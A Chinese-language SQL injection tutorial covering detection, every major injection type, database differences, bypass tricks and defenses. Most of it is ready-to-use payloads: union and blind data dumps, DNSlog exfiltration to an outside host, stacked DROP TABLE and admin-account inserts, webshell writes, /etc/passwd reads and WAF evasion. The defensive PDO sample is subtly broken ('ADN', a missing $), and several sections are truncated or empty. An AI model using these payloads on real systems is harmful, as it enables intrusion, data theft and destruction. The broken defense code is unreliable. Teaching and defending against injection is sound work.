SQL注入是Web安全领域最经典、危害最高的高危漏洞之一,长期位于OWASP Top10榜单前列,大部分Web系统数据泄露事件都和SQL注入漏洞有关。其核心本质是用户可控参数被直接凭借到SQL语句中,后端未作严格的安全处理,导致攻击者可以篡改SQL语句的原始执行逻辑,执行恶意SQL代码,包括数据修改、泄露、删除,甚至实现对数据库乃至服务器的控制。
一、SQL注入核心基础
1.漏洞形成的三个条件
恶意SQL可成功执行:拼接后的恶意SQL语句被数据库正常解析执行,未得到有效拦截
漏洞代码示例:
后端PHP代码
$username = $_POST['username'];
$password = $_POST['password'];
// 直接拼接用户输入到SQL语句
$sql = "SELECT * FROM admin WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $sql);
攻击者输入用户名:' or 1=1 — ,密码任意,后端接收到username参数并将其拼接到SQL语句上变为:
SELECT * FROM admin WHERE username='' OR 1=1 — ' AND password='xxx'
— 把后面的password参数部分给注释掉了,or 1=1使条件恒真,直接绕过登录验证,获取管理员权限。
2. 核心危害分级
| 致命级 | 远程代码执行/服务器接管 | 写入 Webshell、执行系统命令、提权获取服务器控制权、植入挖矿 / 勒索病毒 |
| 高危级 | 数据泄露 / 篡改 | 全量脱库(拖取用户、账号、订单、身份证等核心数据)、篡改 / 删除数据、删库导致业务瘫痪 |
| 中危级 | 越权访问 / 信息探测 | 绕过登录验证、越权查看 / 修改他人数据、探测数据库 / 服务器版本、架构信息 |
| 低危级 | 业务异常 |
注入恶意语句导致数据库负载过高、业务响应异常 |
3.注入点判断方法
通过构造特殊 payload,观察页面响应差异,判断是否存在注入:
| 数字型注入(参数无引号包裹) | ?id=1 AND 1=1 | 页面正常显示 | 页面内容不变 |
| ?id=1 AND 1=2 | 页面正常显示 | 页面无内容 / 报错 / 布局错乱 | |
| 字符型注入(参数有单 / 双引号包裹) | ?name=admin' AND '1'='1 | 页面正常显示 | 页面内容不变 |
| ?name=admin' AND '1'='2 | 页面正常显示 | 页面无内容 / 报错 / 布局错乱 | |
| 搜索型注入(LIKE 语句) | ?keyword=test%' AND 1=1 — | 页面正常显示 | 页面内容不变 |
| ?keyword=test%' AND 1=2 — | 页面正常显示 | 页面无内容 / 报错 |
二、SQL注入类型详解
1.按数据返回方式分类
(1)联合查询注入(UNION SELECT)
适用场景:页面有明确的查询结果回显,是比较基础、最容易利用的注入类型
核心原理:通过UNION关键字,将恶意查询的结果拼接到原始查询结果中,直接在页面显示
利用前提:前后两条查询语句的字段数一致、对应字段的数据类型兼容
利用步骤:
?id=1 ORDER BY 4 — #异常
->字段数为3
#id=-1使原始查询无结果,只显示UNION 查询的结果
| 当前数据库名 | ?id=-1 UNION SELECT 1,database(),3 — |
| 所有数据库名 | ?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata — |
| 当前库的所有表名 | ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database() — |
| 指定表的所有列名 | ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() — |
| 拖取核心数据(账号密码) | ?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users — |
(2)报错注入
适用场景:页面无查询结果回显,但会将SQL执行的错误信息输出到页面
核心原理:利用数据库的报错函数,将查询结果通过错误信息强制带出,实现数据获取
主流数据库常用报错函数与 Payload:
| MySQL | updatexml() | ?id=1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) — | 最大返回 32 位字符,超过需用 substr () 分段截取 |
| MySQL | extractvalue() | ?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) — | 最大返回 32 位字符 |
| MySQL | floor(rand()*2) | ?id=1 AND (SELECT 1 FROM (SELECT count(*),concat((SELECT database()),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) — | 无长度限制,适用于长数据查询 |
| SQL Server | updatexml() | ?id=1 AND 1=(SELECT updatexml(1,concat(0x7e,DB_NAME(),0x7e),1)) — | 同 MySQL |
| Oracle | utl_inaddr.get_host_name() | ?id=1 AND utl_inaddr.get_host_name((SELECT user FROM dual))=1 — | 利用域名解析报错带出数据 |
(3)盲注(无回显无报错场景方案)
适用场景:页面无论SQL语句执行成功与否,返回内容完全一致、无报错、无回显
核心逻辑:通过构造条件语句,让数据库根据查询结果的真假,返回可区分的差异,逐字符猜解数据
① 布尔盲注
核心原理:SQL 语句为真时,页面返回正常内容;为假时,页面返回空白 / 错误页面,通过页面布尔状态差异猜解数据。核心函数:substr()(截取字符)、ascii()(获取字符 ASCII 码)、length()(获取字符串长度)标准利用步骤:
② 时间盲注(延时盲注)
适用场景:页面无布尔状态差异,无论 SQL 真假,返回内容、响应状态完全一致,只能通过响应时间判断结果。核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。
核心原理:利用数据库的延时函数,让 SQL 语句为真时执行延时操作,为假时不延时,通过页面响应时间判断条件是否成立。
| MySQL | sleep() | ?id=1 AND if(ascii(substr(database(),1,1))=115,sleep(5),0) — |
| MySQL | benchmark() | ?id=1 AND if(ascii(substr(database(),1,1))=115,benchmark(10000000,md5(1)),0) — (sleep 被过滤时可使用) |
| SQL Server | waitfor delay | ?id=1;IF (ascii(substr(DB_NAME(),1,1))=115) WAITFOR DELAY '0:0:5' — |
| PostgreSQL | pg_sleep() | ?id=1 AND if(ascii(substr(current_database(),1,1))=115,pg_sleep(5),0) — |
| Oracle | dbms_pipe.receive_message() | ?id=1 AND (SELECT CASE WHEN (ascii(substr(user,1,1))=115) THEN dbms_pipe.receive_message('a',5) ELSE 0 END FROM dual)=1 — |
③ DNSlog 盲注(带外注入 OOB)
适用场景:无回显、无报错、延时不稳定,是盲注的终极解决方案,效率远高于逐字符猜解。核心原理:利用数据库发起网络请求的能力,将查询结果拼接到域名中,通过 DNS 解析日志获取数据,无需页面回显。前提条件:数据库服务器可访问外网,无出站防火墙限制。
| MySQL | ?id=1 AND load_file(concat('\\\\\\\\',(SELECT database()),'.xxx.dnslog.cn\\\\abc')) — | 利用 UNC 路径发起 SMB 请求,触发 DNS 解析,将库名带到 DNSlog 平台 | ||||
| SQL Server | ?id=1;EXEC master..xp_dirtree '\\\\\\\\'+(SELECT DB_NAME())+'.xxx.dnslog.cn\\\\abc' — | 利用 xp_dirtree 函数访问 UNC 路径,触发 DNS 解析 | ||||
| Oracle | `?id=1 AND utl_http.request('http://'
'.xxx.dnslog.cn')=1 — ` |
利用 utl_http 发起 HTTP 请求,触发 DNS 解析 |
(4)堆叠注入
适用场景:后端数据库驱动支持多语句执行(如 PHP 的mysqli_multi_query()),可通过分号;分隔多条 SQL 语句,一次性执行多个操作。
核心危害:突破 SELECT 查询的限制,可执行增删改查、写入文件、执行命令、修改配置等高危操作,危害极大。Payload 示例:
?id=1; DROP TABLE users; — 删除表
?id=1; INSERT INTO admin(username,password) VALUES('hacker','123456'); — 添加管理员账号
?id=1; SELECT '<?php phpinfo();?>' INTO OUTFILE '/var/www/html/shell.php'; — 写入Webshell
限制说明:仅部分数据库驱动支持,PHP 的 PDO 默认不支持多语句,Java 的 JDBC 默认禁用多语句,需手动开启。
2.按注入点位置/特殊场景分类
(1)二次注入(存储型注入)
核心原理:攻击者先将恶意 SQL payload 提交到数据库存储,后端在另一个业务场景中,从数据库取出该 payload 并直接拼接到 SQL 语句中执行,触发注入。
典型场景:
核心特点:
- 注入触发与 payload 提交分离,绕过绝大多数 WAF(WAF 仅检测提交时的请求,不检测数据库取出的内容)
- 隐蔽性较强
- 需找到 payload 的触发场景,才能完成利用
(2)HTTP 头注入
核心原理:后端会将 HTTP 头的内容(如 User-Agent、X-Forwarded-For、Referer、Cookie)记录到数据库(如访问日志、统计数据),拼接 SQL 时未做过滤,导致注入。
典型场景:
- 网站访问统计功能,将 User-Agent、X-Forwarded-For 存入数据库,payload:User-Agent: ' OR updatexml(1,concat(0x7e,database(),0x7e),1) —
- Cookie 注入:后端从 Cookie 中获取用户标识,拼接到 SQL 中,payload:Cookie: user=admin' AND 1=1 —
- X-Forwarded-For 注入:后端获取客户端 IP 时,读取 XFF 头,拼接到 SQL 中,payload:X-Forwarded-For: 127.0.0.1' AND sleep(5) —
(3)宽字节注入
核心原理:后端为MySQL数据库使用 GBK 编码,通过addslashes()等函数对单引号'进行转义(变为\\',即%5c%27),攻击者输入%df%27,%df与转义符%5c拼接成 GBK 汉字運,单引号%27成功逃逸,闭合 SQL 语句。利用前提:
(4)二次编码注入
核心原理:后端对参数进行了两次 URL 解码,第一次解码后转义特殊字符,第二次解码时再次还原恶意字符,导致单引号逃逸。
典型示例:
- 攻击者输入%2527(单引号'的 URL 编码是%27,再次编码为%2527)
- 后端第一次解码:%2527 → %27,转义函数未处理
- 后端第二次解码:%27 → ',成功闭合 SQL 语句,触发注入
三、主流数据库注入差异详解
不同数据库的系统表、内置函数、语法特性差异极大,实战中需先识别数据库类型,再使用对应 Payload,核心差异如下表:
| 版本识别 | version()/@@version | @@version | v$version视图 | version() | 无内置函数,通过语法差异识别 |
| 系统库 / 表 | information_schema(5.0+)、mysql库 | sysobjects、syscolumns | all_tables、user_tab_columns | information_schema、pg_stat_user_tables | msysobjects(需权限) |
| 分页语法 | LIMIT m,n | TOP N | ROWNUM | LIMIT m,n | TOP N |
| 字符串拼接 | concat(a,b) | a+b | a||b | a||b | |
| 延时函数 | sleep()、benchmark() | WAITFOR DELAY | dbms_pipe.receive_message() | pg_sleep() | 无原生延时函数 |
| 报错函数 | updatexml()、extractvalue() | updatexml() | utl_inaddr.get_host_name() | 无原生报错函数 | 无原生报错函数 |
| 读写文件 | load_file()、INTO OUTFILE | bulk insert、xp_cmdshell | UTL_FILE | COPY | 无原生文件读写 |
| 命令执行 | UDF 提权、MOF 提权 | xp_cmdshell | Java 存储过程 | COPY FROM PROGRAM | 无原生命令执行 |
四、SQL注入进阶利用手法
1. 读写文件
利用前提:数据库用户拥有FILE权限,MySQL的secure_file_priv配置不为NULL(为空时可读写,为具体路径时仅可读写该路径),利用load_file、into outfile实现
| 读取系统敏感文件 | ?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3 — | 可读取 SSH 密钥、数据库配置、网站源码等 |
| 写入 Webshell | ?id=-1 UNION SELECT 1,'<?php @eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php' — | 需知道网站绝对路径,写入一句话木马 |
| 十六进制写马(绕过引号) | ?id=-1 UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO OUTFILE '/var/www/html/shell.php' — | 避免引号被转义,直接写入二进制内容 |
2. 执行系统命令与提权
| SQL Server | xp_cmdshell扩展存储过程 | 拥有sa管理员权限,开启xp_cmdshell |
| MySQL | UDF 自定义函数提权 | 拥有FILE权限,可写入 DLL/so 文件到插件目录 |
| PostgreSQL | COPY FROM PROGRAM | 超级管理员权限,PostgreSQL 9.3+ |
| Oracle | Java 存储过程 | 拥有 DBA 权限,可创建 Java 类执行系统命令 |
3. 越权与业务篡改
- 万能密码绕过登录:' OR 1=1 — 、' OR 1=1#、admin' —
- 越权查看他人数据:?order_id=1' OR user_id=123 — ,查看其他用户的订单
- 修改管理员密码:堆叠注入执行UPDATE admin SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin' —
- 业务数据篡改:?id=1; UPDATE goods SET price=0.01 WHERE id=100 — ,篡改商品价格
五、SQL注入绕过技巧
实战或者CTF中绝大多数网站都会有过滤规则或 WAF,以下是高频绕过手法,按场景分类:
1. 关键字过滤绕过
| 关键字大小写过滤 | 大小写混写绕过 | SeLeCt FrOm UsErS 替代 SELECT FROM users | ||
| 关键字单次替换过滤 | 双写绕过 | seselectlect 替代 select(WAF 替换select为空后,剩余select) | ||
| 关键字拆分过滤 | 注释拆分绕过 | s/*xxx*/elect、sel/**/ect、uni/*aaa*/on sel/*bbb*/ect | ||
| 关键字禁用 | 等价语法 / 函数替代 | 过滤and→用&&;过滤or→用 `;过滤substr→用mid/left/right;过滤ascii→用ord/hex;过滤union select→用union all select` | ||
| 函数禁用 | 等价功能替代 | 过滤sleep()→用benchmark(10000000,md5(1));过滤updatexml()→用extractvalue() |
2. 空格过滤绕过
- 注释替代空格:select/**/*/**/from/**/users
- 括号替代空格:select(id)from(users)where(id=1)
- 空白字符替代:%09(制表符)、%0a(换行)、%0d(回车)、%0b(垂直制表)、%0c(换页)
- 反引号替代:selectidfromusers``
3. 单引号过滤绕过
- 宽字节注入:%df%27 逃逸单引号(GBK 编码场景)
- 十六进制编码:字符串admin→0x61646d696e,无需引号,示例:WHERE username=0x61646d696e
- 字符拼接:concat(char(97),char(100),char(109),char(105),char(110)) 替代'admin'
- 二次编码注入:%2527 二次解码后还原为单引号
4. 逻辑运算符 / 比较符过滤绕过
- 过滤=:用like、regexp、between、><组合替代,示例:WHERE username LIKE 'admin'、WHERE ascii(substr(database(),1,1)) BETWEEN 97 AND 122
- 过滤and/or:用&&/||替代,或用case when、if语句实现条件判断
- 过滤#/–注释:用;%00截断,或闭合引号实现注释,示例:?id=1' OR '1'='1
5. WAF 进阶绕过手法
六、SQL 注入防御措施
1.根本防御:预处理语句(参数化查询)
防御SQL注入最有效、最根本的方案
核心原理:将 SQL 语句的结构与数据完全分离,用户输入的参数只会被当作纯数据处理,不会被解析为 SQL 语句的一部分,从根源上杜绝 SQL 注入。
示例:
- PHP PDO 预处理: $pdo=new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4','user','pass');
//用?占位符,不拼接用户输入
$stmt=$pdo->prepare("SELECT * FROM admin WHERE username = ? ADN password = ?");
$stmt->execute([$username,password]); - Java MyBatis预处理: <!– 用#{}占位符,会做参数化处理,绝对安全 –>
<select id="getUser" resultType="User">
SELECT * FROM admin WHERE username = #{username} AND password = #{password}
</select>
<!– 禁止使用${},会直接拼接参数,存在注入风险 –> - Python SQLite: cursor.execute("SELECT * FROM admin WHERE username = ? AND password = ?", (username, password))
关键注意事项:即使使用预处理,也绝对不能将用户输入拼接到 SQL 语句中,否则仍会存在注入。
2.第二道防线:安全的输入校验
- 白名单优先原则:对输入参数做严格的白名单校验,比如数字型参数必须用intval()转换为整数;用户名仅允许字母、数字、下划线;日期参数严格匹配日期格式。
- 黑名单辅助过滤:作为补充手段,过滤高危关键词(如union、select、and、or、sleep等),但不可单独依赖黑名单
- 严格限制输入长度:避免前端检验用户输入长度,前端检验很容易绕过,避免超长恶意Payload绕过检测
3.第三道防线:最小权限原则
- 数据库用户权限最小化:Web用户使用的数据库账号,仅分配业务必需的SELECT/INSERT/UPDATE/DELETE权限,禁止使用root、sa、DBA等搞权限账号。
- 禁用高危权限:禁止给Web账号分配FILE、PROCESS、SUPER、EXEC等高危权限,关闭不必要的存储过程与扩展。
- 限制数据库访问范围:仅允许Web服务器IP访问数据库,禁止公网暴露数据库端口
4.第四道防线:安全配置与错误处理
- 关闭错误回显:生产环境绝对禁止将 SQL 错误信息输出到前端页面,错误信息仅记录到后端日志,前端仅返回通用的 “系统错误” 提示,杜绝报错注入。
- 数据库安全配置
- MySQL 设置secure_file_priv=NULL,禁止文件读写
- 设置正确的数据库字符集,避免宽字节注入
- 关闭不必要的数据库功能与端口
5.第五道防线:边界防护与审计
- 部署WAF:Web 应用防火墙可拦截绝大多数常规 SQL 注入攻击,作为兜底防护。
- 开启审计日志:记录数据库的所有 SQL 执行语句,尤其是敏感操作(如管理员表查询、DROP/ALTER 操作),便于攻击溯源与异常检测。
- 定期安全检测:定期开展漏洞扫描、渗透测试、代码审计,及时发现并修复注入漏洞。






